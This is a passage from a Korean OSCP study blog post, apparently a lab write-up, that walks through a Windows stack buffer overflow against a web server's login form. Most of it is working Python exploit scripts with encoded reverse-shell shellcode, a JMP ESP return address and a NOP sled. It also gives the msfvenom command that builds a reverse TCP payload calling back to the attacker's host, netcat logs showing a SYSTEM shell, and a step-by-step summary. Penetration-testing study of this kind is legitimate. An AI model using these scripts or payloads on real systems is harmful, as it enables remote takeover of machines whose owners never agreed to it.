    "\xd2\x54\x14\x0c\x21\xa4\x51\xab\xda\xd3\xab\xcf\x67\xe4\x68"
    "\xad\xb3\x61\x6a\x15\x37\xd1\x56\xa7\x94\x84\x1d\xab\x51\xc2"
    "\x79\xa8\x64\x07\xf2\xd4\xed\xa6\xd4\x5c\xb5\x8c\xf0\x05\x6d"
    "\xac\xa1\xe3\xc0\xd1\xb1\x4b\xbc\x77\xba\x66\xa9\x05\xe1\xee"
    "\x1e\x24\x19\xef\x08\x3f\x6a\xdd\x97\xeb\xe4\x6d\x5f\x32\xf3"
    "\x92\x4a\x82\x6b\x6d\x75\xf3\xa2\xaa\x21\xa3\xdc\x1b\x4a\x28"
    "\x1c\xa3\x9f\xff\x4c\x0b\x70\x40\x3c\xeb\x20\x28\x56\xe4\x1f"
    "\x48\x59\x2e\x08\xe3\xa0\xb9\xf7\x5c\xdd\x99\x90\x9e\x21\xc5"
    "\x4b\x16\xc7\x93\x9b\x7e\x50\x0c\x05\xdb\x2a\xad\xca\xf1\x57"
    "\xed\x41\xf6\xa8\xa0\xa1\x73\xba\x55\x42\xce\xe0\xf0\x5d\xe4"
    "\x8c\x9f\xcc\x63\x4c\xe9\xec\x3b\x1b\xbe\xc3\x35\xc9\x52\x7d"
    "\xec\xef\xae\x1b\xd7\xab\x74\xd8\xd6\x32\xf8\x64\xfd\x24\xc4"
    "\x65\xb9\x10\x98\x33\x17\xce\x5e\xea\xd9\xb8\x08\x41\xb0\x2c"
    "\xcc\xa9\x03\x2a\xd1\xe7\xf5\xd2\x60\x5e\x40\xed\x4d\x36\x44"
    "\x96\xb3\xa6\xab\x4d\x70\xd6\xe1\xcf\xd1\x7f\xac\x9a\x63\xe2"
    "\x4f\x71\xa7\x1b\xcc\x73\x58\xd8\xcc\xf6\x5d\xa4\x4a\xeb\x2f"
    "\xb5\x3e\x0b\x83\xb6\x6a")

    filler = "A" * 780
    EIP = "\x83\x0c\x09\x10"
    offset = "C" * 4
    #buffer = "D" * (1500 - len(filler) - len(EIP) - len(offset))

    inputBuffer = filler + EIP + offset + shellCode

    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone!"
  
except:
    print "\nCould not connect!"

 

 

하지만

프로그램을 돌려보면

문제가 발생하는데

 

 

브레이크 포인트 잡은 곳에

F7으로 들어가 보면

shikata_ga_nai로

인코딩시켜 보낸 페이로드를

실행시키기 위해 디코딩 하는 과정,

GetPC 루틴 방식 때문에 일어나는 문제로

 

 

디코더가 메모리에서

주소를 수집해야 하는 과정에서

ESP가 가리키는 주소 근처 스택의

일부를 덮어쓰면서 일어나는 문제이다.

 

 

그리고 디코더는 정확히 ESP

주소에서 시작. 이로 인해

디코더 일부분이 변경되어

인코딩이 안되고 그로 인해

충돌이 일어나 실패하게 되는 것.

 

 

 

 

NOP(no operation) sled(slide),

\x90을 사용하는 이유가

바로 이 때문이다.

CPU가 NOP 슬라이드를 따라

페이로드에 닿도록 해주는데

 

 

위에서 발행한 문제,

GetPC 루틴이 스택의 일부를 덮어써도

쉘 코드가 손상되지 않도록 스택 포인터가

충분히 멀리 떨어져 있다.

 

 

nops를 추가해 준다.

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step9_final_shell.py 
#!/usr/bin/python
import socket


try:
    print "\nSending evil buffer... "

    shellCode =("\xb8\xe3\xe1\x39\xf1\xd9\xe5\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
    "\x52\x31\x43\x12\x03\x43\x12\x83\x20\xe5\xdb\x04\x5a\x0e\x99"
    "\xe7\xa2\xcf\xfe\x6e\x47\xfe\x3e\x14\x0c\x51\x8f\x5e\x40\x5e"
    "\x64\x32\x70\xd5\x08\x9b\x77\x5e\xa6\xfd\xb6\x5f\x9b\x3e\xd9"
    "\xe3\xe6\x12\x39\xdd\x28\x67\x38\x1a\x54\x8a\x68\xf3\x12\x39"
    "\x9c\x70\x6e\x82\x17\xca\x7e\x82\xc4\x9b\x81\xa3\x5b\x97\xdb"
    "\x63\x5a\x74\x50\x2a\x44\x99\x5d\xe4\xff\x69\x29\xf7\x29\xa0"
    "\xd2\x54\x14\x0c\x21\xa4\x51\xab\xda\xd3\xab\xcf\x67\xe4\x68"
    "\xad\xb3\x61\x6a\x15\x37\xd1\x56\xa7\x94\x84\x1d\xab\x51\xc2"
    "\x79\xa8\x64\x07\xf2\xd4\xed\xa6\xd4\x5c\xb5\x8c\xf0\x05\x6d"
    "\xac\xa1\xe3\xc0\xd1\xb1\x4b\xbc\x77\xba\x66\xa9\x05\xe1\xee"
    "\x1e\x24\x19\xef\x08\x3f\x6a\xdd\x97\xeb\xe4\x6d\x5f\x32\xf3"
    "\x92\x4a\x82\x6b\x6d\x75\xf3\xa2\xaa\x21\xa3\xdc\x1b\x4a\x28"
    "\x1c\xa3\x9f\xff\x4c\x0b\x70\x40\x3c\xeb\x20\x28\x56\xe4\x1f"
    "\x48\x59\x2e\x08\xe3\xa0\xb9\xf7\x5c\xdd\x99\x90\x9e\x21\xc5"
    "\x4b\x16\xc7\x93\x9b\x7e\x50\x0c\x05\xdb\x2a\xad\xca\xf1\x57"
    "\xed\x41\xf6\xa8\xa0\xa1\x73\xba\x55\x42\xce\xe0\xf0\x5d\xe4"
    "\x8c\x9f\xcc\x63\x4c\xe9\xec\x3b\x1b\xbe\xc3\x35\xc9\x52\x7d"
    "\xec\xef\xae\x1b\xd7\xab\x74\xd8\xd6\x32\xf8\x64\xfd\x24\xc4"
    "\x65\xb9\x10\x98\x33\x17\xce\x5e\xea\xd9\xb8\x08\x41\xb0\x2c"
    "\xcc\xa9\x03\x2a\xd1\xe7\xf5\xd2\x60\x5e\x40\xed\x4d\x36\x44"
    "\x96\xb3\xa6\xab\x4d\x70\xd6\xe1\xcf\xd1\x7f\xac\x9a\x63\xe2"
    "\x4f\x71\xa7\x1b\xcc\x73\x58\xd8\xcc\xf6\x5d\xa4\x4a\xeb\x2f"
    "\xb5\x3e\x0b\x83\xb6\x6a")

    filler = "A" * 780
    EIP = "\x83\x0c\x09\x10"
    offset = "C" * 4
    nops = "\x90" * 10           # nops 추가시킴

    inputBuffer = filler + EIP + offset + nops + shellCode

    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone! You got a reverse shell!"
  
except:
    print "\nCould not connect!"

 

 

프로그램 재기동 후 다시 코드를 돌리면

C:\Windows\system32>
┌──(root💀takudaddy)-[/oscp/bof]
└─# ./fuzzer_step9_final_shell.py

Sending evil buffer... 

Done! You got a reverse shell! 



┌──(root💀takudaddy)-[/oscp/bof]
└─# nc -lvnp 7979            
listening on [any] 7979 ...
connect to [192.168.119.160] from (UNKNOWN) [192.168.160.10] 57237
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

침투 성공

 

 

 

 


 

 

 

6. Upgrade payload

 

한 가지 문제가 있는데

지금 사용하는 Exit process API는

리버스 쉘을 종료하면 모든 웹 서비스의

process를 강제로 종료되기 때문에

시스템 충돌을 발생시킨다.

 

 

지금 작업한 thread 기반의 앱 경우

Exit Thread API를 사용할 수 있고

전체 프로그램 종료가 아닌 프로그램의

일부 스레드만 종료시키는 것이기 때문에

충돌이 나지 않고 쉘 종료 후

언제든 다시 붙을 수 있다.

 

 

페이로드를 다시 만든다.

┌──(root💀takudaddy)-[/oscp/bof]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.160 LPORT=7979 \ 
EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" 

추가 옵션으로 EXITFUNC=thread를 넣어줌

==============================

페이로드 수정

┌──(root💀takudaddy)-[/oscp/bof]
└─# cat fuzzer_step10_final_thread_shell.py                                   1 ⨯
#!/usr/bin/python
import socket


try:
    print "\nSending evil buffer... "

    shellCode =("\xda\xde\xd9\x74\x24\xf4\xbd\x34\xef\x9e\xc5\x5f\x33\xc9\xb1"
"\x52\x83\xef\xfc\x31\x6f\x13\x03\x5b\xfc\x7c\x30\x5f\xea\x03"
"\xbb\x9f\xeb\x63\x35\x7a\xda\xa3\x21\x0f\x4d\x14\x21\x5d\x62"
"\xdf\x67\x75\xf1\xad\xaf\x7a\xb2\x18\x96\xb5\x43\x30\xea\xd4"
"\xc7\x4b\x3f\x36\xf9\x83\x32\x37\x3e\xf9\xbf\x65\x97\x75\x6d"
"\x99\x9c\xc0\xae\x12\xee\xc5\xb6\xc7\xa7\xe4\x97\x56\xb3\xbe"
"\x37\x59\x10\xcb\x71\x41\x75\xf6\xc8\xfa\x4d\x8c\xca\x2a\x9c"
"\x6d\x60\x13\x10\x9c\x78\x54\x97\x7f\x0f\xac\xeb\x02\x08\x6b"
"\x91\xd8\x9d\x6f\x31\xaa\x06\x4b\xc3\x7f\xd0\x18\xcf\x34\x96"
"\x46\xcc\xcb\x7b\xfd\xe8\x40\x7a\xd1\x78\x12\x59\xf5\x21\xc0"
"\xc0\xac\x8f\xa7\xfd\xae\x6f\x17\x58\xa5\x82\x4c\xd1\xe4\xca"
"\xa1\xd8\x16\x0b\xae\x6b\x65\x39\x71\xc0\xe1\x71\xfa\xce\xf6"
"\x76\xd1\xb7\x68\x89\xda\xc7\xa1\x4e\x8e\x97\xd9\x67\xaf\x73"
"\x19\x87\x7a\xd3\x49\x27\xd5\x94\x39\x87\x85\x7c\x53\x08\xf9"
"\x9d\x5c\xc2\x92\x34\xa7\x85\x5c\x60\xd0\xf5\x35\x73\x1e\xe9"
"\xee\xfa\xf8\x7f\xe1\xaa\x53\xe8\x98\xf6\x2f\x89\x65\x2d\x4a"
"\x89\xee\xc2\xab\x44\x07\xae\xbf\x31\xe7\xe5\x9d\x94\xf8\xd3"
"\x89\x7b\x6a\xb8\x49\xf5\x97\x17\x1e\x52\x69\x6e\xca\x4e\xd0"
"\xd8\xe8\x92\x84\x23\xa8\x48\x75\xad\x31\x1c\xc1\x89\x21\xd8"
"\xca\x95\x15\xb4\x9c\x43\xc3\x72\x77\x22\xbd\x2c\x24\xec\x29"
"\xa8\x06\x2f\x2f\xb5\x42\xd9\xcf\x04\x3b\x9c\xf0\xa9\xab\x28"
"\x89\xd7\x4b\xd6\x40\x5c\x6b\x35\x40\xa9\x04\xe0\x01\x10\x49"
"\x13\xfc\x57\x74\x90\xf4\x27\x83\x88\x7d\x2d\xcf\x0e\x6e\x5f"
"\x40\xfb\x90\xcc\x61\x2e")

    filler = "A" * 780
    EIP = "\x83\x0c\x09\x10"
    offset = "C" * 4
    nops = "\x90" * 10

    inputBuffer = filler + EIP + offset + nops + shellCode

    content = "username=" + inputBuffer + "&password=A"
    
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 192.168.160.10\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:78.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://192.168.160.10/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"

    buffer += content

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect(("192.168.160.10", 80))
    s.send(buffer)
    
    s.close()
    
    print "\nDone! You got a reverse shell! "
  
except:
    print "\nCould not connect!"

 

 

 

실행해 보면

┌──(root💀takudaddy)-[/oscp/bof]
└─# nc -lvnp 7979
listening on [any] 7979 ...
connect to [192.168.119.160] from (UNKNOWN) [192.168.160.10] 57028
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>exit
exit
^C
                                                                                  
┌──(root💀takudaddy)-[/oscp/bof]
└─# nc -lvnp 7979                                                             1 ⨯
listening on [any] 7979 ...
connect to [192.168.119.160] from (UNKNOWN) [192.168.160.10] 57029
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

 

접속을 끊어도 시스템 충돌이 일어나지 않고

언제든 다시 재 접속이 가능하다.

 

 

 

 

 


 

 

 

[총정리]

 

 

1. 충돌 지점 찾기 : fuzzer_step1.py

2. 충돌 지점 재확인 : fuzzer_step2.py

3. Offset 값 찾기 : msf-pattern_create -l 충돌바이트 > fuzzer_step3.py EIP 주소 확인 >

                        msf-pattern_offset으로 확인

4. EIP 주소 재확인 및 검증 : fuzzer_step4.py

5. 쉘 코드 올릴 ESP 주소 여유 공간 확인 : fuzzer_step5.py

6. Bad character 가려내기 : fuzzer_step6_bad_char.py

7. Return Address 찾기 (JMP ESP 주소) : mona로 모듈 정보 + 작업할 수 있는 모듈 찾아 JMP ESP 주소 찾기

8. Return Address값 재확인 작업 : fuzzer_step7.py

9. payload 만들기 : fuzzer_step10_final_shell.py / 앱이 thread 기반인지 확인 후 페이로드 만들기

10. 리스너 기동 후 공격.

 

728x90

'OSCP > OSCP 공부일지' 카테고리의 다른 글

OSCP Day 6  (0) 2021.05.01
OSCP Day 5 : BOF2 (Linux)  (0) 2021.04.30
OSCP Day 3  (0) 2021.04.27
OSCP Day 2 : Netcat / Socat / Powercat / TCPdump / Bash Scripting  (0) 2021.04.27
OSCP 코스 시작  (5) 2021.04.26

+ Recent posts